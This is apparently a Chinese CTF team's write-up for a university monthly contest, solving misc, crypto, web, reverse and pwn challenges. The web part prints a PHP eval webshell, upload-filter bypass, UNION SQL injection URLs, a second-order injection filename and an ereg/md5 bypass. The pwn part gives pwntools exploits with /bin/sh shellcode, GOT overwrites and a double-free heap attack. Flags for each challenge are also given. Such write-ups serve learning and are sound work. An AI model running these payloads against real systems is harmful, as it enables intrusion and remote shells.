By

Contents
  1. 1. 前言
  2. 2. MISC
    1. 2.1. misc签到
    2. 2.2. BXS的图标真好看
  3. 3. base全家桶了解一下？？
  4. 4. 矿大校歌认真听听吧？
  5. 5. 起床改error啦
  • Crypto
    1. 1. 现代密码签到
    2. 2. 古典密码签到
    3. 3. easyrsa
    4. 4. playfir
    5. 5. Web
      1. 5.1. 签到题
      2. 5.2. SimpleUpoad签到
      3. 5.3. SimpleSQLi-1
    6. 6. 小型线上赌场
    7. 7. 文件管理系统
  • Reverse
    1. 1. 逆向签到
    2. 2. Easy_Math
  • pwn
    1. 1. Welcome
      1. 1.1. how
      2. 1.2. exp
    2. 2. login
      1. 2.1. 分析
      2. 2.2. exp
    3. 3. brainfxxk
      1. 3.1. 分析
      2. 3.2. exp
    4. 4. babynote
      1. 4.1. how
      2. 4.2. exp
  • Web
    1. 1. 签到题

    • 前言

    By 窝不管窝的flag都队

    放假之后，荒废在家，参加一下月赛。

    MISC

    misc签到

    kZh2TK.png

    有很多的提示，然后下载压缩包
    kZhHmt.png

    然后上网看看盲文符号，与图片一一对应得到BAIND，提交是不对的，提示中说a和1是一样的，把a换成1即可。

    BXS的图标真好看

    查看题目，下载一个压缩包，解压后是一个.txt文件，
    kevSh9.png

    更改文件后缀名为.jpg或者.png
    kevZAe.png

    提示中提示到古典密码，简单观察这个字符串，猜测是栅栏密码，
    kevQjP.png

    base全家桶了解一下？？

    base64解码 - base32解码 - base16解码 得到flag

    矿大校歌认真听听吧？

    一个 ZIP 压缩包，需要密码，先不管三七二十一拖到 Kali Linux 里，还是有密码，说明不是伪加密。

    用 010 Editor 打开，在最后看到了：

    1
    cumtctf2019

    img

    这很可能是解压密码，试了下果然是。

    解压出来一个 MP3 文件，直接用 MP3Stego 工具，猜测密码和解压密码一致，则在 cmd 中输入以下命令：

    1
    Decode -X cumt.mp3 -P cumtctf2019

    img

    得到一个 .txt 文本文件，里面有我们要的 flag ：

    1
    flag{cumtctf_1s_v3ry_g00d!}

    起床改error啦

    唯一做到的Misc……队友Source太给力……拿到手是个png图片

    kMsCQA.jpg

    丢进十六进制编辑器，发现猫腻，有zip文件头和flag信息；

    kMsAdf.png

    扒下来另存为zip，解压得到flag.doc，但是里面没有flag；

    kMs3wV.png

    提示直接告诉是doc隐写，那就显示隐藏文字即可，得到flag；

    kMs2SH.png

    Crypto

    现代密码签到

    没想到居然那么简单 QAQ。就是两次 DES 加密，密钥为空（缺省，比特全 0）。

    题目：

    1
    2
    3
    U2FsdGVkX1+p43JX7+KrdUBXg/UTw+ejas2dbmiVanvVSxOuhSdp3JLc+7G4zK5p
    hHvL/5MHRKFV/L2THW1XCylB3U+pxCxbmnpQ2RB2ZTU=U2FsdGVkX1+p43JX7+KrdUBXg/UTw+ejas2dbmiVanvVSxOuhSdp3JLc+7G4zK5p
    hHvL/5MHRKFV/L2THW1XCylB3U+pxCxbmnpQ2RB2ZTU=

    在线工具：https://www.sojson.com/encrypt_des.html

    解密一次得到：

    1
    U2FsdGVkX18968C+7acWUzWtYyuQd2MFLMh0HnGGnMlmYlemknPnfg==

    再解密一次得到：

    1
    cumtctf{double_D3s_HHH}

    古典密码签到

    题目：

    1
    LZYGQ326N5QXMYAKORNG42TABJ2FUWS2MNRWG6A=

    大写字母、数字、=，猜测是 base32 。

    解下得到：

    1
    2
    3
    ^pho^oav`
    tZnj`
    tZZZcccx

    看不出什么，但都是可打印字符，方向应该没错。

    猜测移位，使用工具恺撒爆破

    img

    发现：

    1
    2
    3
    ^umt^tfa`
    yEso`
    yEEEhhhc

    猜测 ^ 代表 c ，但是另一种字符代表什么无从而知，而且有换行，就很奇怪。后来灵感一来，可能是直接在 ASCII 范围内移位，偏移量 5，于是就有了以下 Python 脚本：

    1
    2
    3
    4
    5
    6
    7
    8
    9
    # -*- coding:utf-8 -*-
    import base64

    c = base64.b32decode("LZYGQ326N5QXMYAKORNG42TABJ2FUWS2MNRWG6A=")
    s = ""

    for x in c:
        s += chr((ord(x)+5)%128)
    print s

    运行结果：

    img

    这个不可打印字符是啥？这个后来是靠猜的。一开始根据上下文觉得是 as 的变体，为什么说是“变体”？因为 s 已经在其他字符中出现的，在这里以这种形式出现就很奇怪，后来试了 a5 （因为 0x0f 是15，而 1 可代表 a）失败了。后来再试试 as ，居然对了，故最终 flag 是：

    1
    cumtctf{easy_soeasy___hhh}

    后来发现换行 \n 其实是两个字符，分别对应明文 a 和 s。

    easyrsa

    看到 e = 5 ，猜测考察的是 RSA 低加密指数攻击。

    先统计下 n 中有哪些字符：

    序号 字词 频次 频率 %
    1 5 31 10.8392
    2 4 28 9.7902
    3 0 27 9.4406
    4 9 27 9.4406
    5 A 25 8.7413
    6 b 25 8.7413
    7 1 23 8.042
    8 7 23 8.042
    9 2 21 7.3427
    10 6 19 6.6434
    11 8 19 6.6434
    12 3 18 6.2937

    猜测是十二进制，A 代表十进制 10， b 代表十进制 11。故可以直接写出 Python 脚本：

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    # -*- coding:utf-8 -*-
    import gmpy2

    def Trans(n):
        ans = 0
        l = len(n)
        for i in range(l):
            if n[i].isdigit():
                ans += int(n[i])
            elif n[i] == 'A':
                ans += 10
            else:
                ans += 11
            ans *= 12
        return ans/12

    n = "36004b9A985A624479A4891b16130722A5A7453989bA61737A226368504A5689381236451796A445824b5A516b176b40135935b0b8999046154359b0560537100289b9795129505b461542A4897A56561529A705135AA772507bb3172b03b3425A99224b68b45b801459b29A070bAb9408761b4A70b905308772472934486924bA17013A2A801041A05178b0488AA5"
    e = "5"
    c = "411A016A671768793b5AAbA4A043001A468b8A9A6122290461266393181b021812b6AAbAA1b57161bAA300321174154862338b0098249626A93116b34752540987309A08520bb6780804b5679144173Ab7301b49322587504A75A7A2445928A07A650bb6076bA3412b1375205336b43A11A1510A22893b937065"

    n = Trans(n)
    e = Trans(e)
    c = Trans(c)

    i = 0
    while 1:
        if(gmpy2.iroot(c+i*n, e)[1] == True):
            x = gmpy2.iroot(c+i*n, e)[0]
            print '{:x}'.format(x).decode('hex')
            break
        i += 1

    运行结果：

    1
    cumtctf{12_jinzhi_rsa}

    playfir

    题目告诉我们这是 Playfair 密码：

    1
    2
    flaga='flaga*******' key1=**** c1=DMBCCVTLMNKQ
    flagb='flagb*******' key2=**** c2=LRBECXPTCPHU

    因为密钥只有 4 位，那就直接爆破，这样要枚举 $4^{25}$ 个密钥，也不算多，出题人应该不会把密钥字符设为重复的，这样我们就直接跳过密钥中有重复字符的情况。实际上，即使密钥不同，也可能出现解出来明文相同的情况，这样我们可以使用数据结构 set 去重，这样我们在后期找真正明文的时候会容易些。

    以前没写过这种密码的脚本，脚本可以从网上 down（我下的脚本有点bug，但是至少可以用），然后改改，这是一种节省时间其实是懒的方法。

    上 Python 脚本：

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    # -*- coding:utf-8 -*-

    def matrix(key):
    	matrix=[]
    	for e in key.upper():
    		if e not in matrix:
    			matrix.append(e)
    	alphabet="ABCDEFGHIKLMNOPQRSTUVWXYZ"
    	for e in alphabet:
    		if e not in matrix:
    			matrix.append(e)
    	matrix_group=[]
    	for e in range(5):
    		matrix_group.append('')
    	matrix_group[0]=matrix[0:5]
    	matrix_group[1]=matrix[5:10]
    	matrix_group[2]=matrix[10:15]
    	matrix_group[3]=matrix[15:20]
    	matrix_group[4]=matrix[20:25]
    	return matrix_group

    def find_position(key_matrix,letter):
    	x = y = 0
    	for i in range(5):
    		for j in range(5):
    			if key_matrix[i][j] == letter:
    				x = i
    				y = j
    	return x,y

    def cipher_to_digraphs(cipher):
    	i=0
    	new=[]
    	for x in range(len(cipher)/2):
    		new.append(cipher[i:i+2])
    		i=i+2
    	return new

    def decrypt(cipher,key):	
    	cipher=cipher_to_digraphs(cipher)
    	key_matrix=matrix(key)
    	plaintext=[]
    	for e in cipher:
    		p1,q1=find_position(key_matrix,e[0])
    		p2,q2=find_position(key_matrix,e[1])
    		if p1==p2:
    			if q1==4:
    				q1=-1
    			if q2==4:
    				q2=-1
    			plaintext.append(key_matrix[p1][q1-1])
    			plaintext.append(key_matrix[p1][q2-1])		
    		elif q1==q2:
    			if p1==4:
    				p1=-1;
    			if p2==4:
    				p2=-1;
    			plaintext.append(key_matrix[p1-1][q1])
    			plaintext.append(key_matrix[p2-1][q2])
    		else:
    			plaintext.append(key_matrix[p1][q2])
    			plaintext.append(key_matrix[p2][q1])

    	for unused in range(len(plaintext)):
    		if "X" in plaintext:
    			plaintext.remove("X")
    	
    	output=""
    	for e in plaintext:
    		output+=e
    	return output.lower()

    def main():
        key = ""
        s = set()
        table = "ABCDEFGHIKLMNOPQRSTUVWXYZ"
        cipher = "DMBCCVTLMNKQ"
        for a in range(25):
            key = table[a]
            for b in range(25):
                key += table[b]
                for c in range(25):
                    key += table[c]
                    for d in range(25):
                        key += table[d]
                        r = ''.join(x for i, x in enumerate(key) if key.index(x) == i)
                        if len(r) == 4 and "flaga" in decrypt(cipher,key):
                            s.add(decrypt(cipher,key))
                        key = key[:3]
                    key = key[:2]
                key = key[:1]
            key = key[0]
        for x in s:
            print x

    main()

    另一个改下密文，把 flaga 改成 flagb 也可以推出。接下来就开始筛选真正明文。

    img

    img

    故连起来就是：

    1
    flagaplayfirflagbyoudoit

    在线求下 MD5 ，得到 flag：

    1
    flag{355c1fb44b58ad7c38d88b5ba4f095b0}

    Web

    签到题

    SimpleUpoad签到

    拿到题目
    kZ41AK.png

    查看源码，发现允许上传.jpg|.png|.gif文件

    kZ4nXR.png

    还提示flag.php在当前目录下
    kZ4NjA.png

    直接bp抓包，直接把.php类型文件改成可上传，
    kZ4BAf.png

    上传一句话木马

    1
    <?php  eval($_POST['ee']); ?>]

    即可成功上传，然后菜刀连接，即可在当前目录下，找到flag.php文件
    kZ4OD1.png

    SimpleSQLi-1

    kmV6L4.png

    输入**?id=1**，得到如下信息：
    kmVLTA.png

    输入**?id=1’**,会报错。

    注入的步骤是爆库，爆表，爆列

    多写了个单引号导致报错，我们可以从报错看得出来这里是单引号括着id参数
    所以我们闭合单引号
    构造payload:http://bxs.cumt.edu.cn:30007/test/index.php?id=1%27--+
    可以成功回显，说明猜测成功

    用order by去猜列数
    http://bxs.cumt.edu.cn:30007/test/index.php?id=1%27%20order%20by%203%23

    需要把第一句话弄成结果为空才能显示后面一句话的内容，可以选择id=-1，然后的话就可以回显2和3,后面就可以利用这两列回显你想要的东西了

    用mysql里面自带的information_schema表

    猜表名
    id=-1%27 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23
    kmtujJ.png

    猜列名
    id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name='flagishere'%23
    kmtQBR.png

    看里面的内容
    http://bxs.cumt.edu.cn:30007/test/index.php?id=-1%27%20union%20select%201,2,concat_ws(%27%23%27,Id,flag)%20from%20flagishere%20limit%200,1%23
    kmt3Ax.png

    小型线上赌场

    一开始没有思路，毕竟是萌新还没有了解到CTF的很多姿势，后来得知是vim文件泄露，在vim编辑的时候没有正常退出，系统就会自动生成一个swp文件用来日后的恢复；直接down下来，vim打开得源码：

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    <?php
    	$invest = $_GET['invest'];  
    	$rand = rand(2,50);  
    	$len = strlen(trim($_GET['invest']));
    	foreach ($_GET as $key => $value) {
    	    if(!is_numeric($value)||$value == '0'){
    	        die('no no no!');
    	    }
    	}
    	$money = number_format($invest*$rand);
    	$money = intval(str_replace(',','',$money));
    	$guess = intval($_GET['guess']); 
    	if ($guess == $money && strlen($money)===$len){
    	    echo $flag;
    }

    看懂源码意思即可，生成2~50的随机数rand，money为$invest*$rand；如果$money==$guess就回显flag，即invest*倍数==guess即可，那我们可以直接bp爆破，猜一个guess，固定invest和guess的值，多次爆破，如果次数达到一定的上限一定会出现猜对倍数的情况，这样的话就会输出flag；

    截包，【Send to Intruder】，【Positions】下先【Clear】（因为我们填入的值不用变）。

    img

    在【Payload】下，将【Payload type】设为【Null payloads】，数量填写 2000 好了。

    img

    然后【Options】下也随便设置。

    img

    设置完成后，【Intruder】-【Start attack】开始爆破。

    在结果【Result】下，按【Length】从低到高排序，可以看到长度为 905 的 Response 包里就有 flag 。

    img

    文件管理系统

    队友Source在离别歌的blog里搜索到类似题目，了解到这题的切入点是二次注入，直接拿来payload就可以搞定这一题；

    1. 先选择文件进行上传，filename为',extension='',filename='x.jpg.jpg；

      kM0tK0.png

    2. Rename file，注入后文件系统中文件名为xl.jpg.jpgkM02qK.png

    3. 上传真的包含webshell的文件；kMBUSA.png

    4. 改名后缀为.php，连接菜刀即可；kMBrTS.png

    5. flag在根目录；

      kuqufs.md.pngkuq1XV.md.png

    Reverse

    逆向签到

    拖到 IDA 里，F5 查看类C伪代码，可以看出：

    1. 要输入 29 个字符。
    2. rd 是 [0,99] 区间内的的随机整数
    3. for() 循环中，每个字符与 rd 进行 xor 运算
    4. Check() 函数中，检查每个 s[i] == a[i] 是否成立（byte 是一个字节，_DWORD 相当于 int，是四个字节）

    随机数。。。随缘程序。

    那就写个 Python 脚本：

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    # -*- coding:utf-8 -*-

    v5 = (53, 63, 50, 52, 40, 1, 50, 61, 55, 99, 62, 118, 98, 60, 60, 12, 106, 58, 37, 54, 12, 38, 12, 102, 48, 60, 33, 54, 46)

    for i in range(100):
        s = ""
        for j in range(29):
            s += chr(i^v5[j])
        if "flag" in s:
            print s

    运行结果：

    1
    flag{Rand0m%1oo_9ive_u_5core}

    Easy_Math

    拖到 IDA 里，F5 查看类C伪代码，可以看出：

    1. 要输入 9 个字符。
    2. String2Int() 函数将字符数组 a1 的 ASCII 赋给整型数组 a2
    3. Check() 函数比较参数和 v2 = (274, 294, 316, 262, 274, 252, 380, 421, 427) 是否相等
    4. 最重要的就是这个 Change() 函数，比较复杂。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    //v5 = (1, 2, 1, 2, 1, 1, 1, 1, 2)
    //a是输入
    Change((__int64)&a, (__int64)&v5, (__int64)&ans);	//main()函数中调用

    void Change(__int64 a, __int64 v5, __int64 ans)
    {
      _DWORD *result; // rax@3
      signed int m; // [sp+24h] [bp-14h]@10
      signed int l; // [sp+28h] [bp-10h]@9
      signed int k; // [sp+2Ch] [bp-Ch]@7
      signed int j; // [sp+30h] [bp-8h]@2
      signed int i; // [sp+34h] [bp-4h]@1

      //ans[3*i+j] = 0
      //3i+j = 0, 1, 2, 3, 4, 5, 6, 7, 8
      for ( i = 0; i <= 2; ++i )
      {
        for ( j = 0; j <= 2; ++j )
        {
          result = (_DWORD *)(4 * (3 * i + (signed __int64)j) + ans);
          *result = 0;
        }
      }
       
      //ans[3*i+j] += v5[3*k+j]*a[3*i+k]
      //v5已知，a未知，ans(v2)已知
      for ( i = 0; i <= 2; ++i )
      {
        for ( j = 0; j <= 2; ++j )
        {
          for ( k = 0; k <= 2; ++k )
          {
            resujt = (_DWORD *)(4 * (3 * i + (signed __int64)j) + ans);
            *resujt += *(_DWORD *)(4 * (3 * k + (signed __int64)j) + v5) * *(_DWORD *)(4 * (3 * i + (signed __int64)k) + a);
          }
        }
      }
    }

    接下来，解九元一次方程组（三个三个一组）可得到 flag 。

    pwn

    Welcome

    how

    main

    显然是栈溢出，search一下控制栈指针的语句发现：

    jmp esp

    但是后面只有50-0x20-4-4 = 10个字节，不够写shellcode。

    窝们可以将shellcode写在前面，覆盖eip为0x8048504，后接esp-（4(eip) + 4(ebp) + 0x20 = 0x28）,再jmp esp(shellcode)即可。

    exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    from pwn import *
    context.clear(arch='i386')
    #shellcode = asm(shellcraft.sh())too longQAQ...
    shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"#x86

    #p = remote('47.106.211.189', 10000)
    p = process('./Welcome')
    p.recvuntil('What\'s your name?\n')
    p.sendline(shellcode + (0x20-len(shellcode)+4)*'a' + p32(0x08048504) + asm('sub esp, 0x28\njmp esp'))

    p.interactive()

    login

    文件里包含一大堆加密、hash函数，一开始都看懵了，其实。。。不重要。

    分析

    • 主函数：

    输入长度不超过12，一波验证看下来，发现根本不可能通过验证的（所以这不是re是pwn啊，pia！）。

    main

    • 将输入copy至ebp-8h（4字节）处

    其中，input在bss段！易得到其地址：.bss:0811EB40 ...

    auth

    • corret里得到call system(‘\sh’)地址

    .text:0804928B call system

    • how

    输入最长12字节 ->

    任意填充4字节 +
    system_addr的4字节 +
    (buffer_addr+4-4)覆盖ebp的4字节，刚刚好~

    exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    from pwn import *
    import base64

    p = process('./login')
    #p = remote('47.106.211.189', 10001)

    p.recvuntil("Authenticate :")
    p.sendline((p32(0xdeadbeef) + p32(0x08049284) + p32(0x0811EB40)).encode("base64"))
    #payload,shell,buffer

    p.interactive()

    brainfxxk

    分析

    一种。。。语言？可以控制(bss段)指针p±1，指针p对应内容±1以及输入输出。

    trans

    GOT表就在附近，一共可输入1024字节，足够为所欲为了。

    有libc文件，leak出putchar的地址算出其他地址，花式修改got表而后fgets(“\sh\x00”)即可。

    main

    exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    from pwn import *
    context.log_level="debug"

    #p=remote('47.106.211.189', 10002)
    p = process("./brainfxxk")
    elf = ELF("./brainfxxk")
    libc = ELF("./libc.so.6")

    p.recvuntil("Type brainfuck instructions below:\n")
    p.sendline("." #call putchar to fill the got_putchar with its real_addr.
    + "<"*(0x70+1) + ">."*4#leak putchar_addr.
    + "<"*8+">,"*8+"<"*0x24+">,"*4#memset(gets),putchar(main),fgets(system).
    + ".")#call main

    p.recv(1)
    base = u32(p.recv(4)) - libc.symbols["putchar"]
    #print base
    p.send(p32(libc.symbols["gets"] + base) + p32(0x8048671) + p32(libc.symbols["system"] + base))

    p.recvuntil("Type brainfuck instructions below:\n")
    p.sendline("\sh\x00")

    p.interactive()

    babynote

    yt聚(ba)聚(by)的小本本。

    how

    fastbin attack，delete函数里没有把指针置0,因此可通过double free构造uaf，修改指针(注意size)，覆盖got_free。

    但是没有system也没libc，后来乱点发现有个magic函数可以直接读取flag（多么灵性の函数名，I’m so 瞎）。
    于是，把got_free覆盖为magic，再free任意chunk即可。

    exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    from pwn import *
    context.log_level = 'debug'

    #p = process('./babynote')
    p = remote('47.106.211.189', 10003)

    def create(size,name,con):
        p.recvuntil('Your choice : ')
        p.sendline('1')
        p.recvuntil('Length of the name :')
        p.sendline(str(size))
        p.recvuntil('The name of note :')
        p.send(name)
        p.recvuntil('The content of the note:')
        p.send(con)

    def free(index):
        p.recvuntil('Your choice : ')
        p.sendline('3')
        p.recvuntil('Which note to delete:')
        p.sendline(str(index))

    magic = p64(0x400C7B)
    create(0x50,'yt\n', 'ju(ba)\n')
    create(0x50,'ju(by)\n', 'ni\n')

    free(0)
    free(1)
    free(0)
    #gdb.attach(p)

    create(0x50,p64(0x601ffa)+'\n','jing\n')
    create(0x50,'ran\n','chu\n')
    create(0x50,'yuan\n','ti\n')
    create(0x50,'a'*14+magic,'-w-\n')
    free(3)
    p.interactive()

    Web

    签到题

    是个简单的绕过，给出源码：

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    <?php
    $white_list = range(0,9);
    require_once('flag.php');
    if(isset($_REQUEST['0ver']) && isset($_REQUEST['0ver1']) && isset($_REQUEST['0ver2'])){
        $a = $_REQUEST['0ver'];
        $b = $_REQUEST['0ver1'];
        $c = $_REQUEST['0ver2'];
        if(@ereg("^[0-9]+$", $a) === FALSE){
            echo 'no must be number';
        }else{
            if(in_array($a,$white_list)){
                if(strlen($a)>1){
                    if(md5($c) === md5($b) && ($b !== $c)){
                        echo "<img src='dark.png'><br>";
                        echo 'you are a great dark phper<br>';
                        echo $flag;
                    }
                    else{
                        echo "you can do it!!!";
                    }
                    
                }else{
                    echo 'you no dark';
                }
            }else{
                echo 'you are so dark';
            }
        }    
    }else
        highlight_file(__FILE__);

    考察ereg()和md5()的绕过姿势，00截断绕过ereg，上传数组绕过md5，即可得到flag如下：

    kmRqk8.png

    payload：http://202.119.201.199:32790/index.php?0ver=5%00a&0ver1[]=a&0ver2[]=b

    Contents
    1. 1. 前言
    2. 2. MISC
      1. 2.1. misc签到
      2. 2.2. BXS的图标真好看
    3. 3. base全家桶了解一下？？
    4. 4. 矿大校歌认真听听吧？
    5. 5. 起床改error啦
  • Crypto
    1. 1. 现代密码签到
    2. 2. 古典密码签到
    3. 3. easyrsa
    4. 4. playfir
    5. 5. Web
      1. 5.1. 签到题
      2. 5.2. SimpleUpoad签到
      3. 5.3. SimpleSQLi-1
    6. 6. 小型线上赌场
    7. 7. 文件管理系统
  • Reverse
    1. 1. 逆向签到
    2. 2. Easy_Math
  • pwn
    1. 1. Welcome
      1. 1.1. how
      2. 1.2. exp
    2. 2. login
      1. 2.1. 分析
      2. 2.2. exp
    3. 3. brainfxxk
      1. 3.1. 分析
      2. 3.2. exp
    4. 4. babynote
      1. 4.1. how
      2. 4.2. exp
  • Web
    1. 1. 签到题